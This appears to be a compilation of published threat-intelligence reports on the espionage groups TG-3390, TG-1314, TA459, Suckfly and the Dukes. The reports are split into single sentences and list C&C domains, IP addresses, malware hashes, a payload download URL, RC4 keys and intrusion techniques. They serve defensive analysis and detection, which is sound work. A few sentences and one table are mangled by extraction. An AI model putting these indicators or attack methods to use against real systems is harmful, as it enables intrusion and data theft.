Based on analysis of the group's SWCs , TG-3390 operations likely affect organizations in other countries and verticals .
TG-3390 operates a broad and long-running campaign of SWCs and has compromised approximately 100 websites as of this publication .
Through an IP address whitelisting process , the threat group selectively targets visitors to these websites .
After the initial compromise , TG-3390 delivers the HttpBrowser backdoor to its victims .
The threat actors then move quickly to compromise Microsoft Exchange servers and to gain complete control of the target environment .
The threat actors are adept at identifying key data stores and selectively exfiltrating all of the high-value information associated with their goal .
CTU researchers recommend the following practices to prevent or detect TG-3390 intrusions :Search web log files for evidence of web server scanning using the URIs listed in the Exploitation section and evidence of Exfiltration using the User-Agent in the Actions on objective section .
Require two-factor authentication for all remote access solutions , including OWA .
Audit ISAPI filters and search for web shells on Microsoft Exchange servers .
CTU researchers infer intent by aggregating observations , analyzing a threat group's activity , and placing the information in a wider context .
Like many threat groups , TG-3390 conducts strategic web compromises ( SWCs ) , also known as watering hole attacks , on websites associated with the target organization's vertical or demographic to increase the likelihood of finding victims with relevant information .
CTU researchers assess with high confidence that TG-3390 uses information gathered from prior reconnaissance activities to selectively compromise users who visit websites under its control .
Most websites compromised by TG-3390 actors are affiliated with five types of organizations around the world :large manufacturing companies , particularly those supplying defense organizations , energy companies , embassies in Washington , DC representing countries in the Middle East , Europe , and Asia , likely to target U.S. based users involved in international relations , non-governmental organizations ( NGOs ) , particularly those focused on international relations and defense , government organizations .
Based on this information , CTU researchers assess that TG-3390 aims to collect defense technology and capability intelligence , other industrial intelligence , and political intelligence from governments and NGOs .
To assess attribution , CTU researchers analyze observed activity , third-party reporting , and contextual intelligence .
For the following reasons , CTU researchers assess with moderate confidence that TG-3390 has a Chinese nexus :The SWC of a Uyghur cultural website suggests intent to target the Uyghur ethnic group , a Muslim minority group primarily found in the Xinjiang region of China .
Threat groups outside of China are unlikely to target the Uyghur people .
TG-3390 uses the PlugX remote access tool .
The menus for PlugX 's server-side component are written exclusively in Standard Chinese ( Mandarin ) , suggesting that PlugX operators are familiar with this language .
CTU researchers have observed TG-3390 activity between 04:00 and 09:00 UTC , which is 12:00 to 17:00 local time in China ( UTC +8 ) .
The timeframe maps to the second half of the workday in China .
The threat actors have used the Baidu search engine , which is only available in Chinese , to conduct reconnaissance activities .
CTU researchers have observed the threat group obtaining information about specific U.S. defense projects that would be desirable to those operating within a country with a manufacturing base , an interest in U.S. military capability , or both .
CTU researchers recognize that the evidence supporting this attribution is circumstantial .
It is possible that TG-3390 is false-flag operation by a threat group outside of China that is deliberately planting indications of a Chinese origin .
TG-3390 has access to proprietary tools , some of which are used exclusively by TG-3390 and others that are shared among a few Chinese threat groups .
The complexity and continual development of these tools indicates a mature development process .
TG-3390 can quickly leverage compromised network infrastructure during an operation and can conduct simultaneous intrusions into multiple environments .
This ability is further demonstrated by analysis of interactions between TG-3390 operators and a target environment .
CTU researchers found no evidence of multiple operators working simultaneously against a single organization .
This efficiency of operation ( a 1:1 ratio of operator to observed activity ) suggests that TG-3390 can scale to conduct the maximum number of simultaneous operations .
These characteristics suggest that the threat group is well resourced and has access to a tools development team and a team focused on SWCs .
TG-3390 's obfuscation techniques in SWCs complicate detection of malicious web traffic redirects .
Malware used by the threat group can be configured to bypass network-based detection ; however , the threat actors rarely modify host-based configuration settings when deploying payloads .
CTU researchers have observed the threat actors installing a credential logger and backdoor on Microsoft Exchange servers , which requires a technical grasp of Internet Information Services ( IIS ) .
TG-3390 uses older exploits to compromise targets , and CTU researchers have not observed the threat actors using zero-day exploits as of this publication .
The threat actors demonstrated the ability to adapt when reentering a network after an eviction , overcoming technical barriers constructed by network defenders .
In addition to using SWCs to target specific types of organizations , TG-3390 uses spearphishing emails to target specific victims .
CTU researchers assess with high confidence that the threat actors follow an established playbook during an intrusion .
They quickly move away from their initial access vector to hide their entry point and then target Exchange servers as a new access vector .
As of this publication , CTU researchers have not discovered how TG-3390 keeps track of the details associated with its compromised assets and credentials .
However , the threat actors' ability to reuse these assets and credentials , sometimes weeks or months after the initial compromise , indicates the group is disciplined and well organized .
After gaining access to a target network in one intrusion analyzed by CTU researchers , TG-3390 actors identified and exfiltrated data for specific projects run by the target organization , indicating that they successfully obtained the information they sought .
TG-3390 : american.blackcmd.com .
TG-3390 : api.apigmail.com .
TG-3390 : apigmail.com .
TG-3390 : backup.darkhero.org .
TG-3390 : bel.updatawindows.com .
TG-3390 : binary.update-onlines.org .
TG-3390 : blackcmd.com .
TG-3390 : castle.blackcmd.com .
TG-3390 : ctcb.blackcmd.com .
TG-3390 : darkhero.org .
TG-3390 : 208.115.242.36 .
TG-3390 : 208.115.242.37 .
TG-3390 : 208.115.242.38 .
TG-3390 : 66.63.178.142 .
TG-3390 : 72.11.148.220 .
TG-3390 : 72.11.141.133 .
TG-3390 : 74.63.195.236 .
TG-3390 : 74.63.195.237 .
 1cb4b74e9d030afbb18accf6ee2bfca1 MD5 hash HttpBrowser RAT dropper .
 b333b5d541a0488f4e710ae97c46d9c2 MD5 hash HttpBrowser RAT dropper .
 86a05dcffe87caf7099dda44d9ec6b48 MD5 hash HttpBrowser RAT dropper .
 93e40da0bd78bebe5e1b98c6324e9b5b MD5 hash HttpBrowser RAT dropper .
 f43d9c3e17e8480a36a62ef869212419 MD5 hash HttpBrowser RAT dropper .
 57e85fc30502a925ffed16082718ec6c MD5 hash HttpBrowser RAT dropper .
 4251aaf38a485b08d5562c6066370f09 MD5 hash HttpBrowser RAT dropper .
 bbfd1e703f55ce779b536b5646a0cdc1 MD5 hash HttpBrowser RAT dropper .
 12a522cb96700c82dc964197adb57ddf MD5 hash HttpBrowser RAT dropper .
 728e5700a401498d91fb83159beec834 MD5 hash HttpBrowser RAT dropper .
 2bec1860499aae1dbcc92f48b276f998 MD5 hash HttpBrowser RAT dropper .
 014122d7851fa8bf4070a8fc2acd5dc5 MD5 hash HttpBrowser RAT .
 0ae996b31a2c3ed3f0bc14c7a96bea38 MD5 hash HttpBrowser RAT .
 1a76681986f99b216d5c0f17ccff2a12 MD5 hash HttpBrowser RAT .
 380c02b1fd93eb22028862117a2f19e3 MD5 hash HttpBrowser RAT .
 40a9a22da928cbb70df48d5a3106d887 MD5 hash HttpBrowser RAT .
 46cf2f9b4a4c35b62a32f28ac847c575 MD5 hash HttpBrowser RAT .
 5436c3469cb1d87ea404e8989b28758d MD5 hash HttpBrowser RAT .
 692cecc94ac440ec673dc69f37bc0409 MD5 hash HttpBrowser RAT .
Living Off the Land .
Release_Time : 2015-05-28Report_URL : https://www.secureworks.com/blog/living-off-the-landIn over half of the targeted threat response engagements performed by the Dell SecureWorks Counter Threat Unit Special Operations ( CTU-SO ) team in the past year , the threat actors accessed the target environment using compromised credentials and the companies' own virtual private network ( VPN ) or other remote access solutions .
Detecting threat actors who are " living off the land , " using credentials , systems , and tools they collect along the way instead of backdoors , can be challenging for organizations that focus their instrumentation and controls primarily on the detection of malware and indicators such as command and control IP addresses , domains , and protocols .
With their gaps in visibility , these organizations can have a very difficult time distinguishing adversary activity from that of legitimate users , pushing detection times out to weeks , months , or even years .
Recently , CTU researchers responded to an intrusion perpetrated by Threat Group-1314 ( TG-1314 ) , one of numerous threat groups that employ the " living off the land " technique to conduct their intrusions .
In this case , the threat actors used compromised credentials to log into an Internet-facing Citrix server to gain access to the network .
CTU researchers discovered evidence that the threat actors were not only leveraging the company 's remote access infrastructure , but were also using the company 's endpoint management platform , Altiris , to move laterally through the network .
Memory collection and analysis can be an extremely valuable component of an incident response plan and in this case proved crucial in identifying TG-1314 's actions on objective .
Memory collected from systems involved in the intrusion was analyzed using the Volatility framework .
First , Volatility 's pstree plugin , which lists running processes in a tree view , was executed .
The result immediately revealed signs of a suspicious cmd.exe process running as a child of the ACLIENT.EXE process .
CTU researchers immediately recognized suspicious commands , such as changing the working directory to recycler and executing commands from that location , that were unlikely to have been connected to legitimate system administrator operations .
The results also revealed indications that PsExec , a popular system administration tool for executing commands on remote systems , was run against several target hosts to spawn shells on them .
To better understand how the adversary was operating and what other actions they had performed , CTU researchers examined cmd.exe and its supporting processes to uncover additional command line artifacts .
While cmd.exe is a console application , it still requires GUI like functionality and other support to interact with the operating system .
On the Windows XP platform , this support is provided by the csrss.exe process .
Because commands run from cmd.exe are acted on by csrss.exe , additional evidence of command history and responses sent to the cmd console window are often discoverable by analyzing the csrss.exe process 's memory .
The output in Figure 3 shows the Process ID ( PID ) of the csrss.exe process to be 716 .
Running Volatility 's vaddump plugin on this process allowed CTU researchers to obtain the Virtual Address Descriptor ( VAD ) sections .
The relevant strings inside the VAD sections were UTF-16 encoded and revealed additional insights once extracted .
TG-1314 was mapping network drives using a compromised Altiris account to connect to additional systems .
After identifying compromised credentials and executed commands , CTU researchers shifted focus to determine how the threat actors were obtaining the shell and executing their commands on the compromised host .
This exploration required a look at the suspect cmd.exe 's parent process , shown earlier in the investigation to be ACLIENT.EXE .
Volatility 's procdump command was used to dump the executable from memory .
Running the strings utility against the dumped ACLIENT.EXE binary revealed evidence that the file was the Altiris agent .
These results indicated that the threat actors leveraged the Altiris management platform installed at the client site , along with compromised domain credentials associated with the Altiris system , to move laterally within the compromised environment .
Threat groups often follow a path of least resistance to achieve their objective .
They will leverage legitimate remote access solutions for entry and valid system administrator tools for lateral movement , if possible .
To help disrupt this tactic , it is important that organizations implement two-factor authentication for all remote access solutions and consider doing the same for internal , high-value assets like their internal system management consoles .
CTU researchers assess with high confidence that threat groups like TG-1314 will continue to live off of the land to avoid detection and conduct their operations .
APT Targets Financial Analysts with CVE-2017-0199 .
On April 20 , Proofpoint observed a targeted campaign focused on financial analysts working at top global financial firms operating in Russia and neighboring countries .
These analysts were linked by their coverage of the telecommunications industry , making this targeting very similar to , and likely a continuation of , activity described in our “ In Pursuit of Optical Fibers and Troop Intel ” blog .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
Proofpoint is tracking this attacker , believed to operate out of China , as TA459 .
The actor typically targets Central Asian countries , Russia , Belarus , Mongolia , and others .
TA549 possesses a diverse malware arsenal including PlugX , NetTraveler , and ZeroT .
In this blog , we also document other 2017 activity so far by this attack group , including their distribution of ZeroT malware and secondary payloadsIn this campaign , attackers used a Microsoft Word document called 0721.doc , which exploits CVE-2017-0199 .
This vulnerability was disclosed and patched days prior to this attack .
The document uses the logic flaw to first download the file power.rtf from http://122.9.52.215/news/power.rtf .
The payload is actually an HTML Application ( HTA ) file , not an RTF document .
The HTA ’s VBScript changes the window size and location and then uses PowerShell to download yet another script : power.ps1 .
This is a PowerShell script that downloads and runs the ZeroT payload cgi.exe .
The attack group has made incremental changes to ZeroT since our last analysis .
While they still use RAR SFX format for the initial payloads , ZeroT now uses a the legitimate McAfee utility ( SHA256 3124fcb79da0bdf9d0d1995e37b06f7929d83c1c4b60e38c104743be71170efe ) named mcut.exe instead of the Norman Safeground AS for sideloading as they have in the past .
The encrypted ZeroT payload , named Mctl.mui , is decoded in memory revealing a similarly tampered PE header and only slightly modified code when compared to ZeroT payloads we analyzed previously .
Once ZeroT is running , we observed that the fake User-Agent used in the requests changed from “ Mozilla/6.0 ( compatible ; MSIE 10.0 ; Windows NT 6.2 ; Tzcdrnt/6.0 ) ” to “ Mozilla/6.0 ( compatible ; MSIE 11.0 ; Windows NT 6.2 ) ” , thus removing the “ Tzcdrnt ” typo observed in previous versions .
The initial beacon to index.php changed to index.txt but ZeroT still expects an RC4 encrypted response using a static key : “ (*^GF (9042&* ” .
Next , ZeroT uses HTTP beacons to transmit information about the infected system to the command and control ( C&C ) .
All posts are encrypted , unlike the last time we analyzed a sample from this actor , when the first POST was accidentally not encrypted .
After that , stage 2 payloads are still retrieved as Bitmap ( BMP ) images that use Least Significant Bit ( LSB ) Steganography to hide the real payloads .
These images appear normal in image viewers .
The stage 2 payload was PlugX that beaconed to C&C servers www.icefirebest.com and www.icekkk.net .
Throughout 2017 we observed this threat actor actively attempting to compromise victims with various malware payloads .
ZeroT remained the primary stage 1 payload , but the stage 2 payloads varied .
One such interesting example was “ ПЛАН_РЕАЛИЗАЦИИ_ПРОЕКТА.rar ” ( SHA256 b5c208e4fb8ba255883f771d384ca85566c7be8adcf5c87114a62efb53b73fda ) .
Translated from Russian , this file is named “ PROJECT_REALIZATION_PLAN.rar ” and contains a compressed .scr executable .
This ZeroT executable communicated with the C&C domain www.kz-info.net and downloaded PlugX as well as an additionalTrojan which communicated with the www.ruvim.net C&C server .
is a payload that we do not see this group using frequently .
Another interesting ZeroT sample ( SHA256 bc2246813d7267608e1a80a04dac32da9115a15b1550b0c4842b9d6e2e7de374 ) contained the executable 0228.exe and a decoy document 0228.doc in the RAR SFX archive .
Bundling decoy documents is a common tactic by this group .
RAR SFX directives are used to display the decoy while the malicious payload is executed .
We suspect that this specific lure was copied from the news article http://www.cis.minsk.by/news.php?id=7557 .
TA459 is well-known for targeting organizations in Russia and neighboring countries .
However , their strategy , tactics , techniques , and procedures in this particular attack emphasize the importance of rigorous patching regimens for all organizations .
Even as software vulnerabilities often take a back seat to human exploits and social engineering , robust defenses must include protection at the email gateway , proactive patch management , and thoughtful end user education .
Paying attention to the details of past attacks is also an important means of preparing for future attacks .
Noting who is targeted , with what malware , and with what types of lures provide clues with which organizations can improve their security posture .
At the same time , multinational organizations like the financial services firms targeted here must be acutely aware of the threats from state-sponsored actors working with sophisticated malware to compromise users and networks .
Ongoing activity from attack groups like TA459 who consistently target individuals specializing in particular areas of research and expertise further complicate an already difficult security situation for organizations dealing with more traditional malware threats , phishing campaigns , and socially engineered threats every day .
Suckfly : Revealing the secret life of your code signing certificates .
Release_Time : 2016-03-15 Report_URL : https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=62e325ae-f551-4855-b9cf-28a7d52d1534&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocumentsIn late 2015 , Symantec identified suspicious activity involving a hacking tool used in a malicious manner against one of our customers .
Normally , this is considered a low-level alert easily defeated by security software .
In this case , however , the hacktool had an unusual characteristic not typically seen with this type of file ; it was signed with a valid code-signing certificate .
Many hacktools are made for less than ethical purposes and are freely available , so this was an initial red flag , which led us to investigate further .
As our investigation continued , we soon realized this was much larger than a few hacktools .
We discovered Suckfly , an advanced threat group , conducting targeted attacks using multiple stolen certificates , as well as hacktools and custom malware .
The group had obtained the certificates through pre-attack operations before commencing targeted attacks against a number of government and commercial organizations spread across multiple continents over a two-year period .
This type of activity and the malicious use of stolen certificates emphasizes the importance of safeguarding certificates to prevent them from being used maliciously .
Suckfly has a number of hacktools and malware varieties at its disposal : Back door , Keylogger , Port scanner , Misc. tool , Exploit , Credential dumper , Privilage escalation .
The first signed hacktool we identified in late 2015 was a digitally signed brute-force server message block ( SMB ) scanner .
The organization associated with this certificate is a South Korean mobile software developer .
While we became initially curious because the hacktool was signed , we became more suspicious when we realized a mobile software developer had signed it , since this is not the type of software typically associated with a mobile application .
Based on this discovery , we began to look for other binaries signed with the South Korean mobile software developer's certificate .
This led to the discovery of three additional hacktools also signed using this certificate .
In addition to being signed with a stolen certificate , the identified hacktools had been used in suspicious activity against a US based health provider operating in India .
This evidence indicates that the certificate ’s rightful owner either misused it or it had been stolen from them .
Symantec worked with the certificate owner to confirm that the hacktool was not associated with them .
Following the trail further , we traced malicious traffic back to where it originated from and looked for additional evidence to indicate that the attacker persistently used the same infrastructure .
We discovered the activity originated from three separate IP addresses , all located in Chengdu , China .
In addition to the traffic originating from Chengdu , we identified a selection of hacktools and malware signed using nine stolen certificates .
The nine stolen certificates originated from nine different companies who are physically located close together around the central districts of Seoul , South Korea .
We don't know the exact date Suckfly stole the certificates from the South Korean organizations .
However , by analyzing the dates when we first saw the certificates paired with hacktools or malware , we can gain insight into when the certificates may have been stolen .
Figure 4 details how many times each stolen certificate was used in a given month .
The first sighting of three of the nine stolen certificates being used maliciously occurred in early 2014 .
Those three certificates were the only ones used in 2014 , making it likely that the other six were not compromised until 2015 .
All nine certificates were used maliciously in 2015 .
As noted earlier , the stolen certificates Symantec identified in this investigation were used to sign both hacking tools and malware .
Further analysis of the malware identified what looks like a custom back door .
We believe Suckfly specifically developed the back door for use in cyberespionage campaigns .
Symantec detects this threat as Backdoor.Nidiran .
Analysis of Nidiran samples determined that the back door had been updated three times since early 2014 , which fits the timeline outlined in Figure 4 .
The modifications were minor and likely performed to add capabilities and avoid detection .
While the malware is custom , it only provides the attackers with standard back door capabilities .
Suckfly delivered Nidiran through a strategic web compromise .
Specifically , the threat group used a specially crafted web page to deliver an exploit for the Microsoft Windows OLE Remote Code Execution Vulnerability ( CVE-2014-6332 ) , which affects specific versions of Microsoft Windows .
This exploit is triggered when a potential victim browses to a malicious page using Internet Explorer , which can allow the attacker to execute code with the same privileges as the currently logged-in user .
Once exploit has been achieved , Nidiran is delivered through a self-extracting executable that extracts the components to a .tmp folder after it has been executed .
The threat then executes “ svchost.exe ” , a PE file , which is actually a clean tool known as OLEVIEW.EXE .
The executable will then load iviewers.dll , which is normally a clean , legitimate file .
Attackers have been known to distribute malicious files masquerading as the legitimate iviewers.dll file and then use DLL load hijacking to execute the malicious code and infect the computer .
This technique is associated with themalware and is frequently used in China based cyberespionage activity .
Suckfly isn’t the only attack group to use certificates to sign malware but they may be the most prolific collectors of them .
After all , Stuxnet , widely regarded as the world ’s first known cyberweapon , was signed using stolen certificates from companies based in Taiwan with dates much earlier than Suckfly .
Other cyberespionage groups , including Black Vine and Hidden Lynx , have also used stolen certificates in their campaigns .
In April 2013 , a third-party vendor published a report about a cyberespionage group using custom malware and stolen certificates in their operations .
The report documented an advanced threat group they attributed to China .
Symantec tracks the group behind this activity as Blackfly and detects the malware they use as Backdoor.Winnti .
The Blackfly attacks share some similarities with the more recent Suckfly attacks .
Blackfly began with a campaign to steal certificates , which were later used to sign malware used in targeted attacks .
The certificates Blackfly stole were also from South Korean companies , primarily in the video game and software development industry .
Another similarity is that Suckfly stole a certificate from Company D ( see Figure 4 ) less than two years after Blackfly had stolen a certificate from the same company .
While the stolen certificates were different , and stolen in separate instances , they were both used with custom malware in targeted attacks originating from China .
Signing malware with code-signing certificates is becoming more common , as seen in this investigation and the other attacks we have discussed .
Attackers are taking the time and effort to steal certificates because it is becoming necessary to gain a foothold on a targeted computer .
Attempts to sign malware with code-signing certificates have become more common as the Internet and security systems have moved towards a more trust and reputation oriented model .
This means that untrusted software may not be allowed to run unless it is signed .
As we noted in our previous research on the Apple threat landscape , some operating systems , such as Mac OS X , are configured by default to only allow applications to run if they have been signed with a valid certificate , meaning they are trusted .
However , using valid code-signing certificates stolen from organizations with a positive reputation can allow attackers to piggyback on that company ’s trust , making it easier to slip by these defenses and gain access to targeted computers .
Suckfly paints a stark picture of where cyberattack groups and cybercriminals are focusing their attentions .
Our investigation shines a light on an often unknown and seedier secret life of code-signing certificates , which is completely unknown to their owners .
The implications of this study shows that certificate owners need to keep a careful eye on them to prevent them from falling into the wrong hands .
It is important to give certificates the protection they need so they can't be used maliciously .
The certificates are only as secure as the safeguards that organizations put around them .
Once a certificate has been compromised , so has the reputation of the organization who signed it .
An organization whose certificate has been stolen and used to sign malware will always be associated with that activity .
Symantec monitors for this type of activity to help prevent organizations from being tied to malicious actions undertaken with their stolen certificates .
During the course of this investigation , we ensured that all certificates compromised by Suckfly were revoked and the affected companies notified .
Over the past few years , we have seen a number of advanced threats and cybercrime groups who have stolen code-signing certificates .
In all of the cases involving an advanced threat , the certificates were used to disguise malware as a legitimate file or application .
File hashes :05edd53508c55b9dd64129e944662c0d 1cf5ce3e3ea310b0f7ce72a94659ff54 352eede25c74775e6102a095fb49da8c 3b595d3e63537da654de29dd01793059 4709395fb143c212891138b98460e958 50f4464d0fc20d1932a12484a1db4342 96c317b0b1b14aadfb5a20a03771f85f ba7b1392b799c8761349e7728c2656dd de5057e579be9e3c53e50f97a9b1832b e7d92039ffc2f07496fe7657d982c80f e864f32151d6afd0a3491f432c2bb7a2 .
usv0503.iqservs-jp.com aux.robertstockdill.com fli.fedora-dns-update.com bss.pvtcdn.com ssl.microsoft-security-center.com ssl.2upgrades.com 133.242.134.121 fli.fedora-dns-update.com .
Indian organizations targeted in Suckfly attacks .
In March 2016 , Symantec published a blog on Suckfly , an advanced cyberespionage group that conducted attacks against a number of South Korean organizations to steal digital certificates .
Since then we have identified a number of attacks over a two-year period , beginning in April 2014 , which we attribute to Suckfly .
The attacks targeted high-profile targets , including government and commercial organizations .
These attacks occurred in several different countries , but our investigation revealed that the primary targets were individuals and organizations primarily located in India .
While there have been several Suckfly campaigns that infected organizations with the group ’s custom malware Backdoor.Nidiran , the Indian targets show a greater amount of post-infection activity than targets in other regions .
This suggests that these attacks were part of a planned operation against specific targets in India .
The first known Suckfly campaign began in April of 2014 .
During our investigation of the campaign , we identified a number of global targets across several industries who were attacked in 2015 .
Many of the targets we identified were well known commercial organizations located in India .
These organizations included :One of India 's largest financial organizations A large e-commerce company The e-commerce company 's primary shipping vendor One of India 's top five IT firms A United States healthcare provider 's Indian business unit Two government organizations .
Suckfly spent more time attacking the government networks compared to all but one of the commercial targets .
Additionally , one of the two government organizations had the highest infection rate of the Indian targets .
Figure 1 shows the infection rate for each of the targets .
Indian government org #2 is responsible for implementing network software for different ministries and departments within India 's central government .
The high infection rate for this target is likely because of its access to technology and information related to other Indian government organizations .
Suckfly 's attacks on government organizations that provide information technology services to other government branches is not limited to India .
It has conducted attacks on similar organizations in Saudi Arabia , likely because of the access that those organizations have .
Suckfly 's targets are displayed in figure 2 by their industry , which provides a clearer view of the group ’s operations .
Most of the group 's attacks are focused on government or technology related companies and organizations .
One of the attacks we investigated provided detailed insight into how Suckfly conducts its operations .
In 2015 , Suckfly conducted a multistage attack between April 22 and May 4 against an e-commerce organization based in India .
Similar to its other attacks , Suckfly used the Nidiran back door along with a number of hacktools to infect the victim 's internal hosts .
The tools and malware used in this breach were also signed with stolen digital certificates .
Suckfly 's first step was to identify a user to target so the attackers could attempt their initial breach into the e-commerce company 's internal network .
We don't have hard evidence of how Suckfly obtained information on the targeted user , but we did find a large open-source presence on the initial target .
The target 's job function , corporate email address , information on work related projects , and publicly accessible personal blog could all be freely found online .
On April 22 , 2015 , Suckfly exploited a vulnerability on the targeted employee 's operating system ( Windows ) that allowed the attackers to bypass the User Account Control and install the Nidiran back door to provide access for their attack .
While we know the attackers used a custom dropper to install the back door , we do not know the delivery vector .
Based on the amount of open-source information available on the target , it is feasible that a spear-phishing email may have been used .
After the attackers successfully exploited the employee ’s system , they gained access to the e-commerce company 's internal network .
We found evidence that Suckfly used hacktools to move latterly and escalate privileges .
To do this the attackers used a signed credential-dumping tool to obtain the victim 's account credentials .
With the account credentials , the attackers were able to access the victim 's account and navigate the internal corporate network as though they were the employee .
On April 27 , the attackers scanned the corporate internal network for hosts with ports 8080 , 5900 , and 40 open .
Ports 8080 and 5900 are common ports used with legitimate protocols , but can be abused by attackers when they are not secured .
It isn't clear why the attackers scanned for hosts with port 40 open because there isn't a common protocol assigned to this port .
Based on Suckfly scanning for common ports , it ’s clear that the group was looking to expand its foothold on the e-commerce company 's internal network .
The attackers ’ final step was to exfiltrate data off the victim ’s network and onto Suckfly ’s infrastructure .
While we know that the attackers used the Nidiran back door to steal information about the compromised organization , we do not know if Suckfly was successful in stealing other information .
These steps were taken over a 13-day period , but only on specific days .
While tracking what days of the week Suckfly used its hacktools , we discovered that the group was only active Monday through Friday .
There was no activity from the group on weekends .
We were able to determine this because the attackers ’ hacktools are command line driven and can provide insight into when the operators are behind keyboards actively working .
Figure 4 shows the attackers ’ activity levels throughout the week .
Suckfly made its malware difficult to analyze to prevent their operations from being detected .
However , we were able to successfully analyze Suckfly malware samples and extract some of the communications between the Nidiran back door and the Suckfly command and control ( C&C ) domains .
We analyzed the dropper , which is an executable that contains the following three files :dllhost.exe : The main host for the .dll file .
 iviewers.dll : Used to load encrypted payloads and then decrypt them .
 msfled : The encrypted payload .
All three files are required for the malware to run correctly .
Once the malware has been executed , it checks to see if it has a connection to the internet before running .
If the connection test is successful , the malware runs and attempts to communicate with the C&C domain over ports 443 and 8443 .
In the samples we analyzed we found the port and C&C information encrypted and hardcoded into the Nidiran malware itself .
The key for the RC4 encryption in this sample is the hardcoded string “ h0le ” .
Once the cookie data is decoded , Suckfly has the network name , hostname , IP address , and the victim 's operating system information .
Information about the C&C infrastructure identified in our analysis of Suckfly activity can be seen in Table 1 .
Domain Registration IP address Registration dateaux.robertstockdill.com kumar.pari@yandex.com Unknown April 1 , 2014 .
 ssl.2upgrades.com kumar.pari@yandex.com 176.58.96.234 July 5 , 2014 .
 bss.pvtcdn.com registrar@mail.zgsj.com 106.184.1.38 May 19 , 2015 .
ssl.microsoft-security-center.com Whoisguard Unknown July 20 ,Domain@quicca.com 133.242.134.121 August 18 , 2014 .
fli.fedora-dns-update.com Whoisguard Unknown Unknown .
Suckfly targeted one of India ’s largest e-commerce companies , a major Indian shipping company , one of India ’s largest financial organizations , and an IT firm that provides support for India ’s largest stock exchange .
All of these targets are large corporations that play a major role in India ’s economy .
By targeting all of these organizations together , Suckfly could have had a much larger impact on India and its economy .
While we don't know the motivations behind the attacks , the targeted commercial organizations , along with the targeted government organizations , may point in this direction .
Suckfly has the resources to develop malware , purchase infrastructure , and conduct targeted attacks for years while staying off the radar of security organizations .
During this time they were able to steal digital certificates from South Korean companies and launch attacks against Indian and Saudi Arabian government organizations .
There is no evidence that Suckfly gained any benefits from attacking the government organizations , but someone else may have benefited from these attacks .
The nature of the Suckfly attacks suggests that it is unlikely that the threat group orchestrated these attacks on their own .
We believe that Suckfly will continue to target organizations in India and similar organizations in other countries in order to provide economic insight to the organization behind Suckfly 's operations .
THE DUKES 7 YEARS OF RUSSIAN CYBERESPIONAGE .
TOOLS AND TECHNIQUES OF THE DUKES .
PINCHDUKE : First known activity November 2008 , Most recent known activity Summer 2010 , C&C communication methods HTTP(S) , Known toolset components Multiple loaders , Information stealer .
The PinchDuke toolset consists of multiple loaders and a core information stealer Trojan .
The loaders associated with the PinchDuke toolset have also been observed being used with CosmicDuke .
The PinchDuke information stealer gathers system configuration information , steals user credentials , and collects user files from the compromised host transferring these via HTTP (S ) to a C&C server .
We believe PinchDuke ’s credential stealing functionality is based on the source code of the Pinch credential stealing malware ( also known as LdPinch ) that was developed in the early 2000s and has later been openly distributed on underground forums .
Credentials targeted by PinchDuke include ones associated with the following software or services : The Bat! , Yahoo! , Mail.ru , Passport.Net , Google Talk , Netscape Navigator , Mozilla Firefox , Mozilla Thunderbird , Internet Explorer , Microsoft Outlook , WinInet Credential Cache , Lightweight Directory Access Protocol ( LDAP ) .
PinchDuke will also search for files that have been created within a predefined timeframe and whose file extension is present in a predefined list .
As a curiosity , most PinchDuke samples contain a Russian language error message : “ There is an error in the module ’s name ! The length of the data section name must be 4 bytes ” .
GEMINIDUKE : First known activity January 2009 , Most recent known activity December 2012 , C&C communication methods HTTP(S) , Known toolset components Loader , Information stealer , Multiple persistence components .
The GeminiDuke toolset consists of a core information stealer , a loader and multiple persistencerelated components .
Unlike CosmicDuke and PinchDuke , GeminiDuke primarily collects information on the victim computer ’s configuration .
The collected details include : Local user accounts , Network settings , Internet proxy settings , Installed drivers , Running processes , Programs previously executed by users , Programs and services configured to automatically run at startup , Values of environment variables , Files and folders present in any users home folder , Files and folders present in any users My Documents , Programs installed to the Program Files folder , Recently accessed files , folders and programs .
As is common for malware , the GeminiDuke infostealer uses a mutex to ensure that only one instance of itself is running at a time .
What is less common is that the name used for the mutex is often a timestamp .
We believe these timestamps to be generated during the compilation of GeminiDuke from the local time of the computer being used .
Comparing the GeminiDuke compilation timestamps , which always reference the time in the UTC+0 timezone , with the local time timestamps used as mutex names , and adjusting for the presumed timezone difference , we note that all of the mutex names reference a time and date that is within seconds of the respective sample ’s compilation timestamp .
Additionally , the apparent timezone of the timestamps in all of the GeminiDuke samples compiled during the winter is UTC+3 , while for samples compiled during the summer , it is UTC+4 .
The observed timezones correspond to the pre-2011 definition of Moscow Standard Time ( MSK ) , which was UTC+3 during the winter and UTC+4 during the summer .
In 2011 MSK stopped following Daylight Saving Time ( DST ) and was set to UTC+4 year-round , then reset to UTC +3 yearround in 2014 .
Some of the observed GeminiDuke samples that used timestamps as mutex names were compiled while MSK still respected DST and for these samples , the timestamps perfectly align with MSK as it was defined at the time .
However , GeminiDuke samples compiled after MSK was altered still vary the timezone between UTC+3 in the winter and UTC+4 during the summer .
While computers using Microsoft Windows automatically adjust for DST , changes in timezone definitions require that an update to Windows be installed .
We therefore believe that the Dukes group simply failed to update the computer they were using to compile GeminiDuke samples , so that the timestamps seen in later samples still appear to follow the old definition of Moscow Standard Time .
The GeminiDuke infostealer has occasionally been wrapped with a loader that appears to be unique to GeminiDuke and has never been observed being used with any of the other Duke toolsets .
GeminiDuke also occasionally embeds additional executables that attempt to achieve persistence on the victim computer .
These persistence components appear to be uniquely customized for use with GeminiDuke , but they use many of the same techniques as CosmicDuke persistence components .
COSMICDUKE : First known activity January 2010 , Most recent known activity Summer 2015 , Other names Tinybaron , BotgenStudios , NemesisGemina , C&C communication methods HTTP(S) , FTP , WebDav , Known toolset components Information stealer , Multiple loaders , Privilege escalation component , Multiple persistence components .
The CosmicDuke toolset is designed around a main information stealer component .
This information stealer is augmented by a variety of components that the toolset operators may selectively include with the main component to provide additional functionalities , such as multiple methods of establishing persistence , as well as modules that attempt to exploit privilege escalation vulnerabilities in order to execute CosmicDuke with higher privileges .
